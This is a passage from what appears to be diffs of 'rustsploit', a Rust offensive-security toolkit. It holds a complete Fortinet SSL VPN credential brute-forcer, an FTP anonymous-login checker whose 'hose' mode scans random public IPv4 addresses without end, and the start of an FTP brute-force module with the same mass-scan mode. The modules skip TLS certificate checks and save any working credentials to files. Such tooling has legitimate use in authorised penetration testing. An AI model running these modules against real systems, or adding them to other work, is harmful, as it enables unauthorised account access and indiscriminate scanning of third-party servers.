match set_file_limit(current_hard, current_hard) {
Ok(()) => {
println!("{}", format!("[+] Raised soft limit to {}", current_hard).green());
}
Err(e2) => {
println!("{}", format!("[-] Could not raise soft limit: {}", e2).red());
println!("{}", "[!] Try running as root or adjust /etc/security/limits.conf".yellow());
}
}
} else {
println!("{}", "[!] Hard limit is the same as soft limit.".yellow());
println!("{}", "[!] To increase further, run as root or edit /etc/security/limits.conf".yellow());
}
}
}
// Verify the new limits
match get_current_limits() {
Ok((new_soft, new_hard)) => {
println!("{}", format!("[*] New limits - Soft: {}, Hard: {}", new_soft, new_hard).cyan());
if new_soft >= TARGET_FILE_LIMIT {
println!("{}", "[+] File descriptor limit successfully raised!".green().bold());
} else if new_soft > current_soft {
println!("{}", format!("[+] Limit raised from {} to {}", current_soft, new_soft).green());
} else {
println!("{}", "[-] Limit unchanged.".yellow());
}
}
Err(e) => {
println!("{}", format!("[-] Could not verify new limits: {}", e).yellow());
}
}
// Also show shell instructions for reference
println!();
println!("{}", "=== Shell Instructions ===".bold());
println!("{}", "To raise limits in your shell before running rustsploit:".dimmed());
println!("{}", " ulimit -n 65535".white());
println!("{}", "Or to make permanent, add to /etc/security/limits.conf:".dimmed());
println!("{}", " * soft nofile 65535".white());
println!("{}", " * hard nofile 65535".white());
Ok(())
}
@@ -0,0 +1,461 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use reqwest::{ClientBuilder, redirect::Policy};
use std::{
fs::File,
io::Write,
sync::Arc,
sync::atomic::{AtomicBool, Ordering},
time::Duration,
};
use tokio::{
sync::{Mutex, Semaphore},
time::{sleep, timeout},
};
use crate::utils::{
prompt_yes_no, prompt_default, prompt_int_range,
load_lines, prompt_existing_file, normalize_target,
get_filename_in_current_dir, prompt_port,
};
use regex::Regex;
use once_cell::sync::Lazy;
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 2;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Fortinet SSL VPN Brute Force Module ║".cyan());
println!("{}", "║ FortiGate Web Login Credential Testing ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
// Check for API-provided config
let config_api = crate::config::get_module_config();
let api_mode = config_api.is_api_mode();
let port: u16 = if let Some(p) = config_api.port {
p
} else if api_mode {
443
} else {
prompt_port("Fortinet VPN Port", 443)?
};
let usernames_file_path = if let Some(ref f) = config_api.username_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Username wordlist not found: {}", f));
}
f.clone()
} else if api_mode {
return Err(anyhow!("Username wordlist required for API mode"));
} else {
prompt_existing_file("Username wordlist path")?
};
let passwords_file_path = if let Some(ref f) = config_api.password_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Password wordlist not found: {}", f));
}
f.clone()
} else if api_mode {
return Err(anyhow!("Password wordlist required for API mode"));
} else {
prompt_existing_file("Password wordlist path")?
};
let concurrency = config_api.concurrency.unwrap_or_else(|| {
if api_mode { 10 } else { prompt_int_range("Max concurrent tasks", 10, 1, 10000).unwrap_or(10) as usize }
});
let timeout_secs = if api_mode { 10 } else {
prompt_int_range("Connection timeout (seconds)", 10, 1, 300).unwrap_or(10) as u64
};
let stop_on_success = config_api.stop_on_success.unwrap_or_else(|| {
if api_mode { true } else { prompt_yes_no("Stop on first success?", true).unwrap_or(true) }
});
let _save_results = if api_mode { true } else { prompt_yes_no("Save results to file?", true)? };
let save_path = if _save_results {
Some(config_api.output_file.clone().unwrap_or_else(|| {
if api_mode { "fortinet_results.txt".to_string() } else { prompt_default("Output file name", "fortinet_results.txt").unwrap_or_else(|_| "fortinet_results.txt".to_string()) }
}))
} else {
None
};
let verbose = config_api.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let combo_mode = config_api.combo_mode.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Combination mode? (try every password with every user)", false).unwrap_or(false) }
});
// Optional prompts - skip in API mode
let trusted_cert = if api_mode {
None
} else {
let trusted_cert_str = prompt_default("Trusted certificate SHA256 (optional, press Enter to skip)", "")?;
if trusted_cert_str.is_empty() { None } else { Some(trusted_cert_str) }
};
let realm = if api_mode {
None
} else {
let realm_str = prompt_default("Authentication realm (optional)", "")?;
if realm_str.is_empty() { None } else { Some(realm_str) }
};
let base_url = build_fortinet_url(target, port)?;
let found_credentials = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
println!("\n[*] Starting brute-force on {}", base_url);
println!("[*] Timeout: {} seconds", timeout_secs);
let users = load_lines(&usernames_file_path)?;
if users.is_empty() {
println!("[!] Username wordlist is empty. Exiting.");
return Ok(());
}
println!("[*] Loaded {} usernames", users.len());
let passwords = load_lines(&passwords_file_path)?;
if passwords.is_empty() {
println!("[!] Password wordlist is empty. Exiting.");
return Ok(());
}
println!("[*] Loaded {} passwords", passwords.len());
let semaphore = Arc::new(Semaphore::new(concurrency));
let timeout_duration = Duration::from_secs(timeout_secs);
println!("[*] Testing {} credential combinations", if combo_mode { users.len() * passwords.len() } else { std::cmp::max(users.len(), passwords.len()) });
println!();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop_signal.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let mut tasks = FuturesUnordered::new();
// Work generation
if combo_mode {
for user in &users {
for pass in &passwords {
if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; }
spawn_fortinet_task(
&mut tasks, &semaphore,
user.clone(), pass.clone(),
base_url.clone(), realm.clone(), trusted_cert.clone(),
found_credentials.clone(), stop_signal.clone(), stats.clone(),
verbose, stop_on_success, timeout_duration
).await;
}
if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; }
}
} else {
let max_len = std::cmp::max(users.len(), passwords.len());
for i in 0..max_len {
if stop_on_success && stop_signal.load(Ordering::Relaxed) { break; }
let user = &users[i % users.len()];
let pass = &passwords[i % passwords.len()];
spawn_fortinet_task(
&mut tasks, &semaphore,
user.clone(), pass.clone(),
base_url.clone(), realm.clone(), trusted_cert.clone(),
found_credentials.clone(), stop_signal.clone(), stats.clone(),
verbose, stop_on_success, timeout_duration
).await;
}
}
// Wait for tasks
while let Some(res) = tasks.next().await {
if let Err(e) = res {
stats.record_error(format!("Task panic: {}", e)).await;
}
}
// Stop progress reporter
stop_signal.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print final statistics
stats.print_final().await;
let creds = found_credentials.lock().await;
if creds.is_empty() {
println!("{}", "[-] No credentials found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (url, user, pass) in creds.iter() {
println!(" {} -> {}:{}", url, user, pass);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
if let Ok(mut file) = File::create(&filename) {
for (url, user, pass) in creds.iter() {
let _ = writeln!(file, "{} -> {}:{}", url, user, pass);
}
println!("[+] Results saved to '{}'", filename.display());
}
}
}
Ok(())
}
async fn spawn_fortinet_task(
tasks: &mut FuturesUnordered<tokio::task::JoinHandle<()>>,
semaphore: &Arc<Semaphore>,
user: String,
pass: String,
base_url: String,
realm: Option<String>,
trusted_cert: Option<String>,
found: Arc<Mutex<Vec<(String, String, String)>>>,
stop_signal: Arc<AtomicBool>,
stats: Arc<BruteforceStats>,
verbose: bool,
stop_on_success: bool,
timeout: Duration
) {
let permit = match semaphore.clone().acquire_owned().await {
Ok(p) => p,
Err(_) => return, // Semaphore closed, stop processing
};
tasks.push(tokio::spawn(async move {
let _permit = permit;
if stop_on_success && stop_signal.load(Ordering::Relaxed) { return; }
match try_fortinet_login(&base_url, &user, &pass, &realm, &trusted_cert, timeout).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", base_url, user, pass).green().bold());
found.lock().await.push((base_url.clone(), user.clone(), pass.clone()));
stats.record_success();
if stop_on_success {
stop_signal.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats.record_failure();
if verbose {
println!("\r{}", format!("[-] {} -> {}:{}", base_url, user, pass).dimmed());
}
}
Err(e) => {
stats.record_error(e.to_string()).await;
if verbose {
println!("\r{}", format!("[!] {}: error: {}", base_url, e).red());
}
}
}
sleep(Duration::from_millis(100)).await;
}));
}
async fn try_fortinet_login(
base_url: &str,
username: &str,
password: &str,
realm: &Option<String>,
trusted_cert: &Option<String>,
timeout_duration: Duration
) -> Result<bool> {
let mut client_builder = ClientBuilder::new()
.cookie_store(true)
.redirect(Policy::none())
.timeout(timeout_duration);
if trusted_cert.is_some() {
client_builder = client_builder
.danger_accept_invalid_certs(false)
.danger_accept_invalid_hostnames(false);
} else {
client_builder = client_builder
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true);
}
let client = client_builder
.build()
.map_err(|e| anyhow!("Failed to create HTTP client: {}", e))?;
// Get login page
let login_page_url = format!("{}/remote/login", base_url);
let login_page_response = match timeout(timeout_duration, client.get(&login_page_url).send()).await {
Ok(Ok(resp)) => resp,
Ok(Err(e)) => return Err(anyhow!("Failed to get login page: {}", e)),
Err(_) => return Err(anyhow!("Timeout getting login page")),
};
let login_page_body = match timeout(timeout_duration, login_page_response.text()).await {
Ok(Ok(body)) => body,
Ok(Err(e)) => return Err(anyhow!("Failed to read login page: {}", e)),
Err(_) => return Err(anyhow!("Timeout reading login page")),
};
let csrf_token = extract_csrf_token(&login_page_body);
// Prepare login form data
let mut form_data = std::collections::HashMap::new();
form_data.insert("username", username.to_string());
form_data.insert("password", password.to_string());
form_data.insert("ajax", "1".to_string());
if let Some(r) = realm {
if !r.is_empty() {
form_data.insert("realm", r.clone());
}
}
if let Some(token) = csrf_token {
form_data.insert("magic", token.clone());
}
// Send login request
let login_url = format!("{}/remote/logincheck", base_url);
// Build form body
let mut form_pairs: Vec<String> = Vec::new();
for (key, val) in &form_data {
form_pairs.push(format!("{}={}", key, urlencoding::encode(val)));
}
let body = form_pairs.join("&");
let login_response = match timeout(
timeout_duration,
client
.post(&login_url)
.header("Content-Type", "application/x-www-form-urlencoded")
.body(body)
.header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36")
.header("Referer", &login_page_url)
.send()
).await {
Ok(Ok(resp)) => resp,
Ok(Err(e)) => return Err(anyhow!("Login request failed: {}", e)),
Err(_) => return Err(anyhow!("Timeout during login request")),
};
let status = login_response.status();
let location_header = login_response.headers().get("Location")
.and_then(|h| h.to_str().ok())
.map(|s| s.to_string());
let cookies: Vec<String> = login_response.cookies()
.map(|c| c.name().to_string())
.collect();
let has_auth_cookie = cookies.iter().any(|name| {
let lower = name.to_lowercase();
lower.contains("session") || lower.contains("svpn") || lower.contains("fortinet")
});
let response_body = match timeout(timeout_duration, login_response.text()).await {
Ok(Ok(body)) => body,
Ok(Err(e)) => return Err(anyhow!("Failed to read login response: {}", e)),
Err(_) => return Err(anyhow!("Timeout reading login response")),
};
// Check for explicit success indicators
let success_indicators = ["redir", "\"1\"", "success", "/remote/index", "portal"];
if success_indicators.iter().any(|&indicator| response_body.contains(indicator)) {
return Ok(true);
}
// Check for explicit failure indicators
let failure_indicators = ["error", "invalid", "failed", "incorrect", "\"0\""];
if failure_indicators.iter().any(|&indicator| response_body.contains(indicator)) {
return Ok(false);
}
// Check status code and authentication cookies
if status.is_success() && has_auth_cookie {
return Ok(true);
}
// Check redirect location for success
if status.as_u16() == 302 {
if let Some(loc_str) = location_header {
let success_redirects = ["/remote/index", "portal", "index"];
if success_redirects.iter().any(|&path| loc_str.contains(path)) {
return Ok(true);
}
}
}
Ok(false)
}
/// Extracts CSRF token from HTML response using pre-compiled regex patterns
fn extract_csrf_token(html: &str) -> Option<String> {
static CSRF_PATTERNS: Lazy<Vec<Regex>> = Lazy::new(|| {
let patterns = [
r#"name="magic"\s+value="([^"]+)""#,
r#"name="csrf_token"\s+value="([^"]+)""#,
r#""magic"\s*:\s*"([^"]+)""#,
r#"magic=([^&\s"]+)"#,
];
patterns.into_iter()
.filter_map(|p| Regex::new(p).ok())
.collect()
});
for pattern in CSRF_PATTERNS.iter() {
if let Some(captures) = pattern.captures(html) {
if let Some(token) = captures.get(1) {
return Some(token.as_str().to_string());
}
}
}
None
}
/// Builds Fortinet VPN URL with proper IPv6 handling
fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
let normalized_host = normalize_target(target)?;
// Check if port is already present
let has_port = if normalized_host.starts_with('[') {
// IPv6 case: check if there's a colon after the closing bracket
if let Some(bracket_pos) = normalized_host.rfind(']') {
normalized_host[bracket_pos..].contains(':')
} else {
false
}
} else {
normalized_host.contains(':')
};
let url = if has_port {
format!("https://{}", normalized_host)
} else {
format!("https://{}:{}", normalized_host, port)
};
Ok(url)
}
+281 -12
View File
@@ -1,7 +1,44 @@
use anyhow::{anyhow, Result};
use suppaftp::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
use anyhow::{anyhow, Result, Context};
use colored::*;
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
use suppaftp::async_native_tls::TlsConnector;
use tokio::time::{timeout, Duration};
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use tokio::sync::Semaphore;
use tokio::process::Command;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use rand::Rng;
use tokio::net::TcpStream; // For fast connect check
use crate::utils::{prompt_default, prompt_int_range, prompt_yes_no};
const DEFAULT_TIMEOUT_SECS: u64 = 5;
const CONNECT_TIMEOUT_MS: u64 = 3000;
const STATE_FILE: &str = "ftp_hose_state.log";
// Hardcoded exclusions
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
"8.8.8.8/32", "8.8.4.4/32"
];
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ FTP Anonymous Login Checker ║".cyan());
println!("{}", "║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Format IPv4 or IPv6 addresses with port
fn format_addr(target: &str, port: u16) -> String {
@@ -25,6 +62,18 @@ fn format_addr(target: &str, port: u16) -> String {
/// Anonymous FTP/FTPS login test with IPv6 support
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Check for Mass Scan Mode conditions
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
if is_mass_scan {
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
return run_mass_scan(target).await;
}
// --- Standard Single Target Logic ---
let addr = format_addr(target, 21);
let domain = target
.trim_start_matches('[')
@@ -32,32 +81,43 @@ pub async fn run(target: &str) -> Result<()> {
.next()
.unwrap_or(target);
println!("[*] Connecting to FTP service on {}...", addr);
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", format!("[*] Connecting to FTP service on {}...", addr).cyan());
println!();
// 1️⃣ Try plain FTP first
match timeout(Duration::from_secs(5), AsyncFtpStream::connect(&addr)).await {
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(&addr)).await {
Ok(Ok(mut ftp)) => {
let result = ftp.login("anonymous", "anonymous").await;
if let Ok(_) = result {
println!("[+] Anonymous login successful (FTP)");
if result.is_ok() {
println!("{}", "[+] Anonymous login successful (FTP)".green().bold());
// Optional: Check if we can run command?
// For single target, we usually just report login success in legacy mode.
// But let's be consistent and try listing.
match ftp.list(None).await {
Ok(_) => println!("{}", "[+] LIST command successful - Read Access Confirmed".green()),
Err(e) => println!("{}", format!("[-] Login worked but LIST failed: {}", e).yellow()),
}
let _ = ftp.quit().await;
return Ok(());
} else if let Err(e) = result {
if e.to_string().contains("530") {
println!("[-] Anonymous login rejected (FTP)");
println!("{}", "[-] Anonymous login rejected (FTP)".yellow());
return Ok(());
} else if e.to_string().contains("550 SSL") {
println!("[*] FTP server requires TLS — upgrading to FTPS...");
println!("{}", "[*] FTP server requires TLS — upgrading to FTPS...".cyan());
} else {
return Err(anyhow!("FTP error: {}", e));
}
}
}
Ok(Err(e)) => println!("[!] FTP connection error: {}", e),
Err(_) => println!("[-] FTP connection timed out"),
Ok(Err(e)) => println!("{}", format!("[!] FTP connection error: {}", e).red()),
Err(_) => println!("{}", "[-] FTP connection timed out".yellow()),
}
// 2️⃣ Fallback to FTPS
println!("{}", "[*] Attempting FTPS connection...".cyan());
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
.await
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
@@ -75,14 +135,223 @@ pub async fn run(target: &str) -> Result<()> {
match ftps.login("anonymous", "anonymous").await {
Ok(_) => {
println!("[+] Anonymous login successful (FTPS)");
println!("{}", "[+] Anonymous login successful (FTPS)".green().bold());
match ftps.list(None).await {
Ok(_) => println!("{}", "[+] LIST command successful - Read Access Confirmed".green()),
Err(e) => println!("{}", format!("[-] Login worked but LIST failed: {}", e).yellow()),
}
let _ = ftps.quit().await;
}
Err(e) if e.to_string().contains("530") => {
println!("[-] Anonymous login rejected (FTPS)");
println!("{}", "[-] Anonymous login rejected (FTPS)".yellow());
}
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
}
Ok(())
}
async fn run_mass_scan(target: &str) -> Result<()> {
// Prep
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
let _verbose = prompt_yes_no("Verbose mode?", false)?;
let output_file = prompt_default("Output result file", "ftp_mass_results.txt")?;
// Ask about exclusions
let use_exclusions = prompt_yes_no("Exclude reserved/private ranges?", true)?;
// Parse exclusions
let mut exclusion_subnets = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
}
}
println!("{}", format!("[+] Loaded {} exclusion ranges", exclusion_subnets.len()).cyan());
}
let exclusions = Arc::new(exclusion_subnets);
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
// Stats
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} open anonymous FTP found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
// Initialize state file
OpenOptions::new().create(true).write(true).open(STATE_FILE).await?;
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let exc = exclusions.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
if !is_ip_checked(&ip).await {
mark_ip_checked(&ip).await;
mass_scan_host(ip, sf, of).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
// File Mode
let content = match tokio::fs::read_to_string(target).await {
Ok(c) => c,
Err(e) => {
println!("{}", format!("[!] Failed to read target file: {}", e).red());
return Ok(());
}
};
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
for ip_str in lines {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
// Simple IP parse
if let Ok(ip) = ip_str.parse::<IpAddr>() {
tokio::spawn(async move {
if !is_ip_checked(&ip).await {
mark_ip_checked(&ip).await;
mass_scan_host(ip, sf, of).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
} else {
drop(permit);
}
}
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
stats_found: Arc<AtomicUsize>,
output_file: String,
) {
let sa = SocketAddr::new(ip, 21);
// 1. Connection Check
if timeout(Duration::from_millis(CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() {
return;
}
// 2. FTP Login (Plain only for speed/mass scan)
let addr_str = format!("{}:21", ip);
match timeout(Duration::from_millis(5000), AsyncFtpStream::connect(&addr_str)).await {
Ok(Ok(mut ftp)) => {
let result = ftp.login("anonymous", "anonymous").await;
if result.is_ok() {
// LOGIN OK - Now VERIFY command capability
// We use LIST (None implies current directory)
// We set a short timeout for list because sometimes passive mode hangs on bad NATs
match timeout(Duration::from_secs(5), ftp.list(None)).await {
Ok(Ok(_)) => {
// Success: Login + List
// Format: IP:PORT:USER:PASS
let msg = format!("{}:21:anonymous:anonymous", ip);
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
}
Ok(Err(_)) => {
// Login ok, List failed (550 or similar)
}
Err(_) => {
// List timed out (PASV issue?)
}
}
let _ = ftp.quit().await;
}
}
_ => {}
}
}
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
let mut excluded = false;
for net in exclusions {
if net.contains(ip_addr) {
excluded = true;
break;
}
}
if !excluded {
return ip_addr;
}
}
}
async fn is_ip_checked(ip: &impl ToString) -> bool {
if !std::path::Path::new(STATE_FILE).exists() {
return false;
}
let ip_s = ip.to_string();
let status = Command::new("grep")
.arg("-F")
.arg("-q")
.arg(format!("checked: {}", ip_s))
.arg(STATE_FILE)
.stderr(std::process::Stdio::null()) // Suppress stderr just in case
.status()
.await;
match status {
Ok(s) => s.success(),
Err(_) => false,
}
}
async fn mark_ip_checked(ip: &impl ToString) {
let data = format!("checked: {}\n", ip.to_string());
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(STATE_FILE)
.await
{
let _ = file.write_all(data.as_bytes()).await;
}
}
+548 -179
View File
@@ -1,20 +1,109 @@
use anyhow::{anyhow, Result};
use anyhow::{anyhow, Result, Context};
use colored::*;
use suppaftp::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
use suppaftp::async_native_tls::TlsConnector;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::PathBuf,
io::Write,
sync::Arc,
time::Duration,
net::{IpAddr, Ipv4Addr, SocketAddr},
};
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
use tokio::{
sync::{Mutex, Semaphore},
time::{sleep, timeout},
process::Command,
fs::OpenOptions,
io::AsyncWriteExt,
net::TcpStream,
};
use std::path::Path;
use std::sync::atomic::{AtomicBool, Ordering};
use tokio::{sync::{Mutex, Semaphore}, time::{sleep, Duration}};
use futures::stream::{FuturesUnordered, StreamExt};
use rand::Rng;
/// Format IPv4 or IPv6 addresses with port
fn format_addr(target: &str, port: u16) -> String {
use crate::utils::{
prompt_required, prompt_default, prompt_yes_no,
prompt_int_range, prompt_existing_file, prompt_port,
load_lines, get_filename_in_current_dir
};
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 2;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
const STATE_FILE: &str = "ftp_brute_hose_state.log";
// Hardcoded exclusions
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
"8.8.8.8/32", "8.8.4.4/32"
];
/// FTP error classification for better handling
#[derive(Debug, Clone, Copy)]
enum FtpErrorType {
AuthenticationFailed,
TlsRequired,
ConnectionLimitExceeded,
ConnectionFailed,
Unknown,
}
impl FtpErrorType {
/// Classify FTP error based on response message
fn classify_error(msg: &str) -> Self {
let msg_lower = msg.to_lowercase();
// Authentication failed
if msg.contains("530") || msg_lower.contains("login incorrect") ||
msg_lower.contains("user") && msg_lower.contains("cannot") ||
msg_lower.contains("password") && msg_lower.contains("incorrect") {
return Self::AuthenticationFailed;
}
// TLS required
if msg.contains("550 SSL") || msg_lower.contains("tls required") ||
msg_lower.contains("ssl connection required") ||
msg.contains("220 TLS go first") ||
msg_lower.contains("must use tls") {
return Self::TlsRequired;
}
// Connection limit exceeded
if msg.contains("421") || msg_lower.contains("too many") ||
msg_lower.contains("connection limit") {
return Self::ConnectionLimitExceeded;
}
// Connection failed
if msg_lower.contains("connection refused") ||
msg_lower.contains("no route to host") ||
msg_lower.contains("network unreachable") ||
msg_lower.contains("connection reset") {
return Self::ConnectionFailed;
}
Self::Unknown
}
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ FTP Brute Force Module ║".cyan());
println!("{}", "║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Format IPv4 or IPv6 addresses with port for display
fn format_addr_for_display(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
target.to_string()
} else if target.matches(':').count() == 1 && !target.contains('[') {
@@ -33,55 +122,132 @@ fn format_addr(target: &str, port: u16) -> String {
}
}
pub async fn run(target: &str) -> Result<()> {
println!("=== FTP Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("FTP Port", "21")?;
if let Ok(p) = input.parse() { break p }
println!("Invalid port. Try again.");
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Check for Mass Scan Mode
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
if is_mass_scan {
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
return run_mass_scan(target).await;
}
println!("{}", format!("[*] Target: {}", target).cyan());
// --- Standard Single Target Logic ---
// Check for API-provided config
let config = crate::config::get_module_config();
let api_mode = config.is_api_mode();
// Get port - from API config or prompt
let port: u16 = if let Some(p) = config.port {
p
} else {
prompt_port("FTP Port", 21)?
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "500")?;
if let Ok(n) = input.parse::<usize>() {
if n > 0 { break n }
// Get wordlists - from API config or prompt
let usernames_file = if let Some(ref f) = config.username_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Username wordlist not found: {}", f));
}
println!("Invalid number. Try again.");
f.clone()
} else {
prompt_required("Username wordlist")?
};
let passwords_file = if let Some(ref f) = config.password_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Password wordlist not found: {}", f));
}
f.clone()
} else {
prompt_required("Password wordlist")?
};
let concurrency: usize = config.concurrency.unwrap_or_else(|| {
if api_mode { 500 } else {
loop {
let input = prompt_default("Max concurrent tasks", "500").unwrap_or_else(|_| "500".to_string());
if let Ok(n) = input.parse::<usize>() {
if n > 0 { return n }
}
println!("Invalid number. Try again.");
}
}
});
// Create a semaphore to limit concurrent network operations
let semaphore = Arc::new(Semaphore::new(concurrency));
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let stop_on_success = config.stop_on_success.unwrap_or_else(|| {
if api_mode { true } else { prompt_yes_no("Stop on first success?", true).unwrap_or(true) }
});
let save_results = config.save_results.unwrap_or_else(|| {
if api_mode { true } else { prompt_yes_no("Save results to file?", true).unwrap_or(true) }
});
let save_path = if save_results {
Some(prompt_default("Output file", "ftp_results.txt")?)
Some(config.output_file.clone().unwrap_or_else(|| {
